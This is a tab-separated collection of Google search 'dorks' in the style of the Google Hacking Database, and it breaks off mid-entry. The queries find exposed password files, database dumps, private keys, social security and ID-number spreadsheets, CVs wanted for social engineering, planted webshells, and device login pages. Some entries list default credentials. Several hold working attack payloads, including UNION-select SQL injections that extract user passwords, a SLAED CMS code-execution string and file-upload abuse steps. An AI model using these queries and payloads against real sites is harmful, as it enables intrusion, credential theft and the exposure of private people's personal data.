filetype:sql inurl:wp-content/backup-*	filetype:sql inurl:wp-content/backup-*	Search for WordPress MySQL database backup. Author: AngelParrot
Google Dork For Social Security Number (In Spain and Argentina is D.N.I)	Google Dork For Social Security Number (In Spain and Argentina is D.N.I)	This dork locates social security numbers. Author: Luciano UNLP

Google Dork inurl:Curriculum Vitale filetype:doc (Vital Informaticon , Addres, Telephone Numer, SSN , Full Name, Work , etc) In Spanish.	Google Dork inurl:Curriculum Vitale filetype:doc (Vital Informaticon , Addres, Telephone Numer, SSN , Full Name, Work , etc) In Spanish.	This dork locates Curriculum Vitale files. Author: Luciano UNLP
Microsoft-IIS/7.0 intitle:index.of name size	Microsoft-IIS/7.0 intitle:index.of name size	IIS 7 directory listing. Author: huang
List of Phone Numbers (In XLS File) allinurl:telefonos filetype:xls	List of Phone Numbers (In XLS File) allinurl:telefonos filetype:xls	This is a dork for a list of Phone Private Numbers in Argentina. Author: Luciano UNLP
inurl:.php intitle:- BOFF 1.0 intext:[Sec. Info]	inurl:.php intitle:- BOFF 1.0 intext:[Sec. Info]	This search attempts to find the BOFF 1.0 Shell. Author: alsa7r
intitle:SpectraIV-IP	intitle:SpectraIV-IP	Google dork for pelco SpectraIV-IP Dome Series cameras Default username/password "admin/admin". Author: GhOsT-PR
allintext:D.N.I filetype:xls	allintext:D.N.I filetype:xls	This Query contains sensitive data (D.N.I ;-)) in a xls format (excel) and D.N.I for People of the Anses ! Author: Luciano UNLP
(username=* | username:* |) | (((password=* | password:*) | (passwd=* | passwd:*) | (credentials=* | credentials:*)) | ((hash=* | hash:*) | (md5:* | md5=*)) | (inurl:auth | inurl:passwd | inurl:pass)) filetype:log	(username=* | username:* |) | (((password=* | password:*) | (passwd=* | passwd:*) | (credentials=* | credentials:*)) | ((hash=* | hash:*) | (md5:* | md5=*)) | (inurl:auth | inurl:passwd | inurl:pass)) filetype:log	Logged username, passwords, hashes Author: GhOsT-PR
inurl:RgFirewallRL.asp |	inurl:RgFirewallRL.asp | inurl:RgDmzHost.asp |	Gateway Routers Author: GhOsT-PR

inurl:RgDmzHost.asp | inurl:RgMacFiltering.asp | inurl:RgConnect.asp | inurl:RgEventLog.asp | inurl:RgSecurity.asp | inurl:RgContentFilter.asp | inurl:wlanRadio.asp	inurl:RgMacFiltering.asp | inurl:RgConnect.asp | inurl:RgEventLog.asp | inurl:RgSecurity.asp | inurl:RgContentFilter.asp | inurl:wlanRadio.asp	
inurl:cgi-bin/cosmobdf.cgi?	inurl:cgi-bin/cosmobdf.cgi?	COSMOView for building management. Author: GhOsT-PR
inurl:"/showPlayer.php?id=" intext:"powered by ellistonSPORT"	inurl:"/showPlayer.php?id=" intext:"powered by ellistonSPORT"	ellistonSPORT Remote SQL Injection Vulnerability. Author: ITTIHACK
inurl:wp-content/plugins/age-verification/age-verification.php	inurl:wp-content/plugins/age-verification/age-verification.php	Wordpress Age Verification Plugin http://www.exploit-db.com/exploits/18350
intitle:"HtmlAnvView:D7B039C1"	intitle:"HtmlAnvView:D7B039C1"	This dork finds Wireless Security/Webcams that are accessible from the web. The interesting part is that for some reason these cameras do not generally allow users to remove/change the default administrative username and pass. So in most cases you can view any camera that shows up in the google search. Default Username: admin01 Default Password: 000000 111111 999999 Author: Paul White
intext:"~~Joomla1.txt" title:"Index of /"	intext:"~~Joomla1.txt" title:"Index of /"	intext:"~~Joomla1.txt" title:"Index of /" Get all server configs files Discovered by alsa7r
"Welcome to Sitecore" + "License Holder"	"Welcome to Sitecore" + "License Holder"	Sitecore CMS detection.
intitle:"-N3t" filetype:php	intitle:"-N3t" filetype:php undetectable	intitle:"-N3t" filetype:php undetectable Search WebShell indexed on a page. --

undetectable		Joel Campusano Rojas. 632 161 62 @joelcampusano Ingeniero Civil en Informtica.
?intitle:index.of?".mysql_history"	?intitle:index.of?".mysql_history"	Find some juicy info in .mysql_history files enjoy bastich
intitle:awen+intitle:asp.net	intitle:awen+intitle:asp.net	Hi, This google dork exposes any already uploaded asp.net shells which are available in BackTrack. http://www.google.com/search?q=intitle:awen+intitle:asp.net Thanks, Sagar Belure
"mailing list memberships reminder"	"mailing list memberships reminder"	Hi, By default, while subscribing to a mailing list on a website, running Mailman (GNU) for mailing list management, the user has got options to manage his/her subscription options. There is an option of getting password reminder email for this list once in a month. And, by default, this option is set to Yes. Along with sending the password reminder mail in *plain text* to the users, it gets archived on the sites too. Thanks, Sagar Belure
intext:"Thank you for your purchase/trial of ALWIL Software products.:"	intext:"Thank you for your purchase/trial of ALWIL Software products.:"	This dork can fetch you Avast product licenses especially Avast Antiviruses , including Professional editions ;) Author: gr00ve_hack3r www.gr00ve-hack3r.com
inurl:"tiki-index.php" filetype:php "This is TikiWiki 1.9"	inurl:"tiki-index.php" filetype:php "This is TikiWiki 1.9"	The server vulnerable to => CVE 2006-4602
filetype:cfg "radius" (pass|passwd|password)	filetype:cfg "radius" (pass|passwd|password)	Find config files with radius configs and passwords and secrets... Love Bastich
inurl:Settings.aspx intitle:Beyond TV	inurl:Settings.aspx intitle:Beyond TV	Beyond TV gives you the capability to turn your PC into a high quality, digital video recorder (DVR). Most people use it for cable TV so that they don't have to spend rent money on a low end quality hardware DVR from their cable company. It's default config has no password or username enabled. Very

		bad for people who connect their PCs directly to their modems. I have Beyond TV and I was curious on how secure it is.
inurl:"cgi-bin/webcgi/main"	inurl:"cgi-bin/webcgi/main"	inurl:"cgi-bin/webcgi/main" This dork finds indexed public facing Dell Remote Access Card. -n17r0u6
inurl:"phpmyadmin/index.php" intext:"[Edit] [Create PHP Code] [Refresh]"	inurl:"phpmyadmin/index.php" intext:"[Edit] [Create PHP Code] [Refresh]"	This dork finds unsecured databases
inurl:"passes" OR inurl:"passwords" OR inurl:"credentials" -search -download -techsupt -git -games -gz -bypass -exe filetype:txt @yahoo.com OR @gmail OR @hotmail OR @rediff	inurl:"passes" OR inurl:"passwords" OR inurl:"credentials" -search -download -techsupt -git -games -gz -bypass -exe filetype:txt @yahoo.com OR @gmail OR @hotmail OR @rediff	Hack the $cr1pt kiddies. There are a lot of Phishing pages hosted on internet , this dork will provide you with their password files. Clean and Simple gr00ve_hack3r www.gr00vehack3r.wordpress.com
filetype:docx Domain Registrar $user $pass	filetype:docx Domain Registrar $user $pass	Dork :- *filetype:docx Domain Registrar $user $pass* Use :- *To find domain login password for Registrar (can Hijack Domain) Submitted by : G00g!3 W@rr!0r *
inurl:/app_dev.php/login "Environment"	inurl:/app_dev.php/login "Environment"	Search for login screen in web aplications developed with Symfony2 in a development environment Daniel Maldonado http://caceriadespammers.com.ar
inurl:imageview5	inurl:imageview5	Imageview 5 (Cookie/index.php) Remote Local Include - CVE: 2006-5554: http://www.exploit-db.com/exploits/2647
"This site is powered by e107"	"This site is powered by e107"	TikiWiki 1.9 Sirius (jhot.php) Remote Command Execution - CVE: 2006-4602: http://www.exploit-db.com/exploits/2711
"powered by	"powered by tikiwiki"	TikiWiki 1.9 Sirius (jhot.php) Remote

tikiwiki"		Command Execution - CVE: 2006-4602: http://www.exploit-db.com/exploits/2288
intitle:"X7 Chat Help Center"|"Powered By X7 Chat"	intitle:"X7 Chat Help Center"|"Powered By X7 Chat"	X7 Chat 2.0 (help_file) Remote Commands Execution - CVE: 2006-2156: http://www.exploit-db.com/exploits/1738
"powered by gcards"	"powered by gcards"	gCards 1.45 Multiple Vulnerabilities - CVE: 2006-1346: http://www.exploit-db.com/exploits/1595
pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid CSS"	pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid CSS"	Pixelpost 1-5rc1-2 Remote Privilege Escalation Exploit - CVE: 2006-2889: http://www.exploit-db.com/exploits/1868
"This web site was made with MD-Pro"	"This web site was made with MD-Pro"	CVE: 2006-7112 EDB-ID: 2712 This search can potentially identify vulnerable installations of MD-Pro, a web portal system written in PHP.
"Powered by XMB"	http://www.google.com/search?q="Powered+by+XMB"	CVE: 2006-3994 EDB-ID: 2105 This search can potentially identify vulnerable installations of XMB
"powered by ThWboard"	"powered by ThWboard"	CVE: 2007-0340 EDB-ID: 3124 This search can potentially identify vulnerable installations of ThWboard.
"Page created in" "seconds by glFusion" +RSS	"Page created in" "seconds by glFusion" +RSS	CVE: 2009-1281 EDB-ID: 8347 This search can potentially identify vulnerable installations of glFusion. http://www.exploit-db.com/exploits/8347
inurl:wp-login.php Register Username Password -echo	inurl:wp-login.php Register Username Password -echo	CVE: 2006-2667 EDB-ID: 6 This search can potentially identify vulnerable installations of WordPress.
intext:"Powered by OnePlug CMS"	intext:"Powered by OnePlug CMS"	Sumitter: p0pc0rn SQL Injection: http://site.com/category_list.asp?Category_ID=1 union select 0 from test.a
intitle:"[EasyPHP] - Administration"	intitle:"[EasyPHP] - Administration"	Unprotected EasyPHP Admin page detection.. Author: Aneesh Dogra (lionaneesh)
intext:"Powered by Inventory Mojo Software."	intext:"Powered by Inventory Mojo Software."	Submitter: p0pc0rn SQL Injection (categoria.asp, producto.asp, srubro.asp, marca.asp, buscar.asp, Login.asp, NewUser.asp,

		do_addToNewsletter.asp) --- http://site.com/categoria.asp?CT=6' and '1'='1 TRUE http://site.com/categoria.asp?CT=6' and '1'='0 FALSE
"site by Designscope"	"site by Designscope"	Submitter: Net.Edit0r SQL Injection: http://127.0.0.1/general.php?pageID=[SQL] http://127.0.0.1/content.php?pageID=[SQL]
index.php?option=com_ignitegallery	index.php?option=com_ignitegallery	Submitter: TiGeR_YeMeN HaCkEr SQL Injection: index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10+from+jos_users--
intext:"Powered by FXRecruiter"	intext:"Powered by FXRecruiter"	Submitter: Ashiyane Digital Security Team Arbitrary File Upload: You must Register at site, Then in "Upload CV Field" Select and Upload Your File, then Using "Live Http Header" Change ur File Format To Etc Uploaded path: http://127.0.0.1/fxmodules/resumes/[Your File]
inurl:"fbconnect_action=myhome"	inurl:"fbconnect_action=myhome"	Submitter: z0mbyak SQL Injection: www.site.name/path/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--
filetype:ini "pdo_mysql" (pass|passwd|password|pwd)	filetype:ini "pdo_mysql" (pass|passwd|password|pwd)	full details dbname dbuser dbpass all plain text Author:Bastich
filetype:ini "SavedPasswords" (pass|passwd|password|pwd)	filetype:ini "SavedPasswords" (pass|passwd|password|pwd)	Unreal Tournament config, plain text passwords Author: Bastich
filetype:ini "precurio" (pass|passwd|password|pwd)	filetype:ini "precurio" (pass|passwd|password|pwd)	plain text passwods

filetype:ini "FtpInBackground" (pass|passwd|password|pwd)	filetype:ini "FtpInBackground" (pass|passwd|password|pwd)	Total commander wxc_ftp.ini run has through John etc. or even better use http://wcxftp.org.ru/
filetype:ini "[FFFTP]" (pass|passwd|password|pwd)	filetype:ini "[FFFTP]" (pass|passwd|password|pwd)	Asian FTP software -, run the password hash through John etc. Author: Bastich
"error_log" inurl:/wp-content	"error_log" inurl:/wp-content	Find various www readable Wordpress directories containing error logs with server side debugging info, such as home path directory names, which are often the same user names for logging into the server over FTP and SSH. This often exposes the path of the plug-ins installed in wordpress as well, giving someone more information and avenues of attack since many Wordpress plug-ins can lead to compromises of the sites security. - DigiP
allinurl:http://www.google.co.in/latitude/apps/badge/api?user=	allinurl:http://www.google.co.in/latitude/apps/badge/api?user=	Site: google.com/latitude - This is a free application where you can track your PC, laptop and mobile, just login there and you will be tracked freely(used to track yourself live and you can put this in blogs to show where you are) I made a dork simply that shows some couple of people, after some years when this application will grow stronger and you can get tons of victims. *allinurl:http://www.google.co.in/latitude/apps/badge/api?user=* By *The ALLSTAR*
intitle:Locus7shell intext:"Software:"	intitle:Locus7shell intext:"Software:"	intitle:Locus7shell intext:"Software:" Submitted by lionaneesh -- Thanks Aneesh Dogra (lionaneesh)
filetype:xls + password + inurl:.com	filetype:xls + password + inurl:.com	The filetype:xls never changes What is inbtween then + sings can be what ever you are looking for taxid ssn password Student ID etc The inurl: can be changed to what you want .gov .edu

		.com etc. Take care, RedShift
"Login Name" Repository Webtop intitle:login	"Login Name" Repository Webtop intitle:login	Search for login screen of default instance: Documentum Webtop by EMC
intitle:"Enabling Self-Service Procurement"	intitle:"Enabling Self-Service Procurement"	Search for login screen of default instance: Puridiom (A Procurement Web Application)
intitle:"cyber recruiter" "User ID"	intitle:"cyber recruiter" "User ID"	Search for login screen of default instance: Cyber Recruiter (applicant tracking and recruiting software)
inurl:sarg inurl:siteuser.html	inurl:sarg inurl:siteuser.html	Submitter: pipefish Squid User Access Reports that show users' browsing history through the proxy. Shows internal IP space sometimes, usernames as well, and can be helpful when planning a pen test (spear phishing\social engineering campaign etc.) It also helps to ID an organization's proxy server.
vBulletin Install Page Detection	vBulletin Install Page Detection	inurl:/install/install.php intitle:vBulletin * Install System This dork displays the untreated install.php pages! Auth0r: lionaneesh Greetz to :Team Indishell , INDIA , Aasim Shaikh ,
ionCube Loader Wizard information disclosure	ionCube Loader Wizard information disclosure	inurl:loader-wizard ext:php This dork displays sensitive information Auth0r: MaXe
inurl:"clsUploadtest.asp"	inurl:"clsUploadtest.asp"	Submitter: KDGCrew http://www.site.com/clsUpload/clsUploadtest.asp http://www.site.com/clsUpload/nameshell.php
filetype:sql "PostgreSQL database dump" (pass|password|passwd|pwd)	filetype:sql "PostgreSQL database dump" (pass|password|passwd|pwd)	PostgreSQL database dump with passwords Bastich
filetype:sql "MySQL dump" (pass|password|pas	filetype:sql "MySQL dump" (pass|password|passwd|pwd)	MySQL database dump with passwords Bastich

swd|pwd)		
filetype:sql "phpmyAdmin SQL Dump" (pass|password|passwd|pwd)	filetype:sql "phpmyAdmin SQL Dump" (pass|password|passwd|pwd)	phpMyAdmin SQL dump with passwords Bastich
site:dl.dropbox.com filetype:pdf cv OR curriculum vitae OR resume	site:dl.dropbox.com filetype:pdf cv OR curriculum vitae OR resume	Searches Dropbox for publicly avaliable PDF's containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack. Author: Trevor Starick
site:docs.google.com intitle:(cv Or resume OR curriculum vitae)	site:docs.google.com intitle:(cv Or resume OR curriculum vitae)	Searches GoogleDocs for publicly avaliable PDF's containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack. -- Trevor Starick
site:mediafire.com cv Or resume OR curriculum vitae filetype:pdf OR doc	site:mediafire.com cv Or resume OR curriculum vitae filetype:pdf OR doc	Searches Mediafire for publicly avaliable PDF's containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack -- Trevor Starick
site:stashbox.org cv Or resume OR curriculum vitae filetype:pdf OR doc	site:stashbox.org cv Or resume OR curriculum vitae filetype:pdf OR doc	Searches StashBox for publicly avaliable PDF's or .doc files containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack -- Trevor Starick
inurl:/push/ .pem apns -"push notifications" "bag attributes"	inurl:/push/ .pem apns -"push notifications" "bag attributes"	iphone apple push notification system private keys, frequently unencrypted, frequently with DeviceIDs in same dir
inurl:server-info intitle:"Server Information" Apache Server Information	inurl:server-info intitle:"Server Information" Apache Server Information	Juicy information about the apache server installation in the website. -- *Regards, Fady Mohammed Osman.*
inurl:":9000" PacketVideo corporation	inurl:":9000" PacketVideo corporation	inurl:":9000" PacketVideo corporation About: This provides Twonky Server Media interface. You can find images,

		music, videos etc. Submitter: Ishaan P
intitle:m1n1 1.01	intitle:m1n1 1.01	find the b374k shell.... Submitted by : biLLbud
filetype:pem "Microsoft"	filetype:pem "Microsoft"	Microsoft private keys, frequently used for servers with UserID on the same page. -- Shamanoid
intitle:"vtiger CRM 5 - Commercial Open Source CRM"	intitle:"vtiger CRM 5 - Commercial Open Source CRM"	vtiger CRM version 5.x presence -- LiquidWorm
allinurl:forcedownload.php?file=	allinurl:forcedownload.php?file=	Didn't see this anywhere in the GHDB, but its been known for a while and widely abused by others. Google Dork "allinurl:forcedownload.php?file=" Sites that use the forcedownload.php script are vulnerable to url manipulation, and will spit out any file on the local site, including the PHP files themselves with all server side code, not the rendered page, but the source itself. This is most commonly used on wordpress sites to grab the wp-config.php file to gain access to the database, but is not limited to wordpress sites. I only list it as an example, so people understand the weight of flaw. - DigiP
filetype:ini "Bootstrap.php" (pass|passwd|password|pwd)	filetype:ini "Bootstrap.php" (pass|passwd|password|pwd)	Zend application ini, with usernames, passwords and db info love Bastich
"Powered by SLAED CMS"	"Powered by SLAED CMS"	Exploit Title: Slaed CMS Code exec On different versions of this software next vulnerabilities are availible: /index.php?name=Search&mod=&word={${phpinfo()}}&query=ok&to=view /index.php?name=Search&mod=&word=ok&query={${phpinfo()}}&to=view OR: /search.html?mod=&word={${phpinfo()}}&query=ok&to=view /search.html?mod=&word=ok&query={${phpinfo()}}&to=view

inurl:ftp "password" filetype:xls	inurl:ftp "password" filetype:xls	this string may be used to find many low hanging fruit on FTP sites recently indexed by google. Author: Uhaba
inurl:view.php?board1_sn=	inurl:view.php?board1_sn=	locates a webapp vulnerable to SQL injection
inurl:"amfphp/browser/servicebrowser.swf"	inurl:"amfphp/browser/servicebrowser.swf"	AMFPHP service browser, debug interface. Author: syddd
intitle:#k4raeL - sh3LL	intitle:#k4raeL - sh3LL	intitle:#k4raeL - sh3LL Finds K4rael Shell , though many of them are dead but we can get some and even cache data can get you information , making website vulnerable Author: cyb3r.pr3dat0r
filetype:php~ (pass|passwd|password|dbpass|db_pass|pwd)	filetype:php~ (pass|passwd|password|dbpass|db_pass|pwd)	Backup or temp versions of php files containing you guessed it passwords or other ripe for the picking info... Author: Bastich
inurl:"trace.axd" ext:axd "Application Trace"	inurl:"trace.axd" ext:axd "Application Trace"	example google dork to find trace.axd, a file used for debugging asp that reveals full http request details like cookie and other data that in many cases can be used to hijack user-sessions, display plain-text usernames/passwords and also serverinfo like pathnames second with plain-text usernames and passwords along with sessiondata. this file should be developer-only and not publicly available but seems to be used quite often, usually hidden from google with robots.txt. Author: easypwn
inurl:"/includes/config.php"	inurl:"/includes/config.php"	The Dork Allows you to get data base information from config files. Author: XeNon
allintext: "Please login to continue..." "ZTE Corporation. All rights reserved."	allintext: "Please login to continue..." "ZTE Corporation. All rights reserved."	Reported by: Jasper Briels
"index of" inurl:root intitle:symlink	"index of" inurl:root intitle:symlink	Google Dork: index of" inurl:root intitle:symlink Steal Others Symlink Author: Un0wn_X

"index of" inurl:sym	"index of" inurl:sym	Google Dork: "index of" inurl:sym You can Steal the symlinks of other Servers Author: Un0wn_X
inurl:"php?id=" intext:"DB_Error Object "	inurl:"php?id=" intext:"DB_Error Object "	Description: Files containing juicy info Author:ruben_linux
inurl:advsearch.php?module= & intext:sql syntax	inurl:advsearch.php?module= & intext:sql syntax	Exploit Title : SQLI Exploit Google Dork : inurl:advsearch.php?module= & intext:sql syntax Date : 19/3/2013 Exploit Author : Scott Sturrock Email : f00bar'at'linuxmail'dot'org
intext:THIS IS A PRIVATE SYSTEM AUTHORISED ACCESS ONLY inurl:login.aspx	intext:THIS IS A PRIVATE SYSTEM AUTHORISED ACCESS ONLY inurl:login.aspx	Category : Pages containing login portals Description : Dork for finding sensitive login portals Dork : intext:THIS IS A PRIVATE SYSTEM AUTHORISED ACCESS ONLY inurl:login.aspx Link : https://encrypted.google.com/#hl=en&output=search&sclient=psy-ab&q=intext:THIS+IS+A+PRIVATE+SYSTEM+AUTHORISED+ACCESS+ONLY+inurl%3Alogin.aspx&oq=intext:THIS+IS+A+PRIVATE+SYSTEM+AUTHORISED+ACCESS+ONLY+inurl%3Alogin.aspx&gs_l=hp.3...852.852.0.983.1.1.0.0.0.0.121.121.0j1.1.0...0.0...1c.1.7.psy-ab.664iAsY450k&pbx=1&bav=on.2,or.r_qf.&bvm=bv.44011176,d.d2k&fp=7b93b16efbccc178&biw=1362&bih=667 Date : 20/3/2013 Exploit Author: Scott Sturrock Email: f00bar'at'linuxmail'dot'org
intext:YOU ARE ACCESSING A GOVERNMENT INFORMATION SYSTEM inurl:login.aspx	intext:YOU ARE ACCESSING A GOVERNMENT INFORMATION SYSTEM inurl:login.aspx	Category : Pages containing login portals Description : Dork for finding government login portals Dork : intext:YOU ARE ACCESSING A GOVERNMENT INFORMATION SYSTEM inurl:login.aspx Link : https://encrypted.google.com/#hl=en&output=search&sclient=psy-ab&q=intext:YOU+ARE+ACCESSING+A+GOVERNMENT+INFORMATION+SYSTEM+inurl%3Alogin.aspx&oq=intext:YOU+ARE+ACCESSING+A

		+GOVERNMENT+INFORMATION+SYSTEM+inurl%3Alogin.aspx&gs_l=hp.3...894.894.0.1059.1.1.0.0.0.0.116.116.0j1.1.0...0.0...1c.1.7.psy-ab.lvawmQ4rKqA&pbx=1&bav=on.2,or.r_qf.&bvm=bv.44011176,d.d2k&fp=7b93b16efbccc178&biw=1362&bih=667 Date : 20/3/2013 Author : Scott Sturrock Email: f00bar'at'linuxmail'dot'org
intext:Computer Misuse Act inurl:login.aspx	intext:Computer Misuse Act inurl:login.aspx	Category : Pages containing login portals Description : Dork for finding sensitive login portals Dork : intext:Computer Misuse Act inurl:login.aspx Link : https://encrypted.google.com/#hl=en&output=search&sclient=psy-ab&q=intext:Computer+Misuse+Act+inurl%3Alogin.aspx&oq=intext:Computer+Misuse+Act+inurl%3Alogin.aspx&gs_l=hp.3...1565.1565.0.1684.1.1.0.0.0.0.105.105.0j1.1.0...0.0...1c.1.7.psy-ab.ZaZN16Ureds&pbx=1&bav=on.2,or.r_qf.&bvm=bv.44011176,d.ZWU&fp=7b93b16efbccc178&biw=1362&bih=667 Date : 20/3/2013 Author : Scott Sturrock Email: f00bar'at'linuxmail'dot'org
filetype:ini "This is the default settings file for new PHP installations"	filetype:ini "This is the default settings file for new PHP installations"	Finds PHP configuration files (php.ini) that have been placed in indexed folders. Php.ini defines a PHP installation's behavior, including magic quotes, register globals, and remote file operations. This can be useful for knowing which attacks (such as RFI) are possible against the server. - Andy G - twitter.com/vxhex
filetype:php -site:php.net intitle:phpinfo "published by the PHP Group"	filetype:php -site:php.net intitle:phpinfo "published by the PHP Group"	Tries to reduce false positive results from similar dorks. Finds pages containing output from phpinfo(). This function is used to debug and test PHP installations by listing versions, extensions, configurations, server information, file system information, and execution environment. The output

		of this function should not be included in production environments and certain versions of this function are vulnerable to reflected XSS attacks. - Andy G - twitter.com/vxhex
inurl:/voice/advanced/ intitle:Linksys SPA configuration	inurl:/voice/advanced/ intitle:Linksys SPA configuration	This allows you to look at linksys VOIP Router Config pages.
inurl:"/root/etc/passwd" intext:"home/*:"	inurl:"/root/etc/passwd" intext:"home/*:"	inurl:"/root/etc/passwd" intext:"home/*:"
intext:"root:x:0:0:root:/root:/bin/bash" inurl:*=/etc/passwd	intext:"root:x:0:0:root:/root:/bin/bash" inurl:*=/etc/passwd	Author: ./tic0 | Izzudin al-Qassam Cyber Fighter
Serv-U (c) Copyright 1995-2013 Rhino Software, Inc. All Rights.Reserved.	Serv-U (c) Copyright 1995-2013 Rhino Software, Inc. All Rights.Reserved.	# Category: FTP Login Portals # Description : Dork for finding FTP Login portals # Google Dork: Serv-U Copyright 1995-2013 Rhino Software, Inc. All Rights.Reserved. # Date: 16/04/2013 # Exploit Author: Arul Kumar.V # Vendor Homepage: www.serv-u.com # Email : hackerarul@gmail.com Thank you
intext: + PHP! +	intext: + PHP! +	Google search:intext: + PHP! + DORK: + PHP! + Description:Unrestricted File Upload(Allow User To Upload malicious Files) Author:Bhavya Shukla Twitter:@bhavya_shukla_
allintext: /iissamples/default/	allintext: /iissamples/default/	Searching for "allintext: /iissamples/default/" may provide interesting information about a mis-configured .asp server including raw source code for asp, directory structure and the IIS version (especially useful when IIS is running on NT 4.0) the result provides a way to further explore directory structure for juicy info. Oleg.
intitle:"VNC Viewer for Java"	intitle:"VNC Viewer for Java"	VNC Viewer for Java ~4N6 Security~
inurl:"zendesk.co	inurl:"zendesk.com/attachments/tok	zendesk is good ticketing system . It

m/attachments/token" site:zendesk.com	en" site:zendesk.com	has thousands of clients. with the above dork you can see the clients internal file attachments of the tickets . These file can be opened by anyone because they are not maintaining any authentication token for this attachments Internal source codes, doubts, ip's , passwords, can be disclosed in the attachments
inurl:"dasdec/dasdec.csp"	inurl:"dasdec/dasdec.csp"	inurl:"dasdec/dasdec.csp" DASDEC II Emergency Alert System User Manual: http://www.digitalalertsystems.com/pdf/DASDEC_II_manual.pdf Default username: Admin Default password: dasdec
"information_schema" filetype:sql	"information_schema" filetype:sql	Dork: "information_schema" filetype:sql By: Cr4t3r
intext:xampp-dav-unsecure:$apr1$6O9scpDQ$JGw2Tjz0jkrqfKh5hhiqD1	intext:xampp-dav-unsecure:$apr1$6O9scpDQ$JGw2Tjz0jkrqfKh5hhiqD1	# Exploit Title: google dork for apache directory listing by url edit # Google Dork: intext:xampp-dav-unsecure:$apr1$6O9scpDQ$JGw2Tjz0jkrqfKh5hhiqD1 in this query you see that text file but by url we can travel in paren directory # Date: 11/7/2013 # Exploit Author: james love india # Tested on: windows xp sp2
intitle:index.of intext:.bash_history	intitle:index.of intext:.bash_history	the GHDB on subject (intitle:index.of intext:.bash_history) finds all home users directory path indexed. I've test it and google return 943 results! -Andrea Menin
intitle:"Cisco Integrated Management Controller Login"	intitle:"Cisco Integrated Management Controller Login"	intitle:"Cisco Integrated Management Controller Login" The Cisco Integrated Management Controller (CIMC) is the management service for the C-Series servers. CIMC is built into the motherboard. This Google dork searches for the CIMC GUI login portal for remote access. ax_
inurl:/secure/Dashboard.jspa intitle:"System Dashboard"	inurl:/secure/Dashboard.jspa intitle:"System Dashboard"	Finds login pages and system dashboards for Atlassian's JIRA. - Andy G - twitter.com/vxhex
inurl:.php?	inurl:.php?	inurl:.php?

intext:CHARACTER_SETS,COLLATIONS, ?intitle:phpmyadmin	intext:CHARACTER_SETS,COLLATIONS, ?intitle:phpmyadmin	intext:CHARACTER_SETS,COLLATIONS, ?intitle:phpmyadmin view phpMyAdmin of web sites Author: Un0wn_X Follow: @UnownSec E-Mail: unownsec@gmail.com
inurl:fluidgalleries/dat/login.dat	inurl:fluidgalleries/dat/login.dat	Works with every single fluidgalleries portofolio sites. Just decrypt the MD5 hash and login onto url.extension/admin.php with the username from the search result and with the decrypted MD5 hash. Dork by Kraze (kraze@programmer.net)
inurl:5000/webman/index.cgi	inurl:5000/webman/index.cgi	Synology nas login
inurl:wp-content/uploads/dump.sql	inurl:wp-content/uploads/dump.sql	This is *Mohan Pendyala* (penetration tester) from india. Google Dork: *inurl:wp-content/uploads/dump.sql* * * The *Dump.sql* file reveals total info about the database tables, Users, passwords..etc
intitle:"Internet Security Appliance" & intext:"Enter Password and click Login"	intitle:"Internet Security Appliance" & intext:"Enter Password and click Login"	#Summary: ZyWall Firewall login portal #Category: Various Online Devices #Author: g00gl3 5c0u7
inurl:1337w0rm.php intitle:1337w0rm	inurl:1337w0rm.php intitle:1337w0rm	Finds websites that have 1337w0rm's CPanel cracker uploaded. Since the Cracker is relatively new, some sites might not use it. -TehMysticaL
intitle:".:: Welcome to the Web-Based Configurator::." & intext:"Welcome to your router Configuration Interface"	intitle:".:: Welcome to the Web-Based Configurator::." & intext:"Welcome to your router Configuration Interface"	#Summary: ZyXEL router login portal #Category: Pages containing login portals #Author: g00gl3 5c0u7 NOTE: currently exists this -> http://www.exploit-db.com/ghdb/270/ but only shows 8 results against 63100 that i sent, also covers more models.
intext:"I'm using a public or shared computer" & intext:"Remote Web Workplace"	intext:"I'm using a public or shared computer" & intext:"Remote Web Workplace"	#Summary: Windows Business Server 2003 Login portal #Category: Pages containing login portals #Author: g00gl3 5c0u7

inurl:"/secure/login.aspx"	inurl:"/secure/login.aspx"	#Summary: Several Web Pages Login Portal #Category: Pages containing login portals #Author: g00gl3 5c0u7
intitle:"Weather Wing WS-2"	intitle:"Weather Wing WS-2"	#Summary:Weather Wing (http://www.meteo-system.com/ws2.php) Portal. #Category: Various Online Divices #Author: g00gl3 5c0u7
intitle:"NetBotz Network Monitoring Appliance"	intitle:"NetBotz Network Monitoring Appliance"	#Summary:Various Online Divices #Category: Pages containing login portals #Author: g00gl3 5c0u7
intitle:"Transponder/EOL Configuration:" inurl:asp	intitle:"Transponder/EOL Configuration:" inurl:asp	#Summary: Cheeta Technologies Transponder Configuration Portal (* http://www.cheetahtech.com).* #Author: g00gl3 5c0u7
intitle:"WAMPSERVER Homepage" & intext:"Server Configuration"	intitle:"WAMPSERVER Homepage" & intext:"Server Configuration"	#Summary: Wampserver Homepage free access (*http://www.wampserver.com/).* #Author: g00gl3 5c0u7
intitle:"Web Image Monitor" & inurl:"/mainFrame.cgi"	intitle:"Web Image Monitor" & inurl:"/mainFrame.cgi"	#Summary: Several printers that use "Web Image Monitor" control panel (http://ricoh.pbworks.com/w/page/14063393/CSWebImageMonitor). Used default by Ricoh, Lanier and others. #Author: g00gl3 5c0u7
inurl:8080 intitle:"Dashboard [Jenkins]"	inurl:8080 intitle:"Dashboard [Jenkins]"	#Summary: Acces to Jenkins Dashboard #Author: g00gl3 5c0u7
intitle:"Login - OTRS" inurl:pl	intitle:"Login - OTRS" inurl:pl	#Summary: OTRS login portals #Author: g00gl3 5c0u7
intitle:"WebMail | Powered by Winmail Server - Login" & (intext:"Username" & intext:"Password")	intitle:"WebMail | Powered by Winmail Server - Login" & (intext:"Username" & intext:"Password")	#Summary: Winmail login portals #Author: g00gl3 5c0u7
inurl:8080 intitle:"login" intext:"UserLogin" "English"	inurl:8080 intitle:"login" intext:"UserLogin" "English"	#Summary: VoIP login portals #Category: Pages containing login portals #Author: g00gl3 5c0u7
intitle:"::: Login	intitle:"::: Login :::" &	#Summary: Surveillance login portals

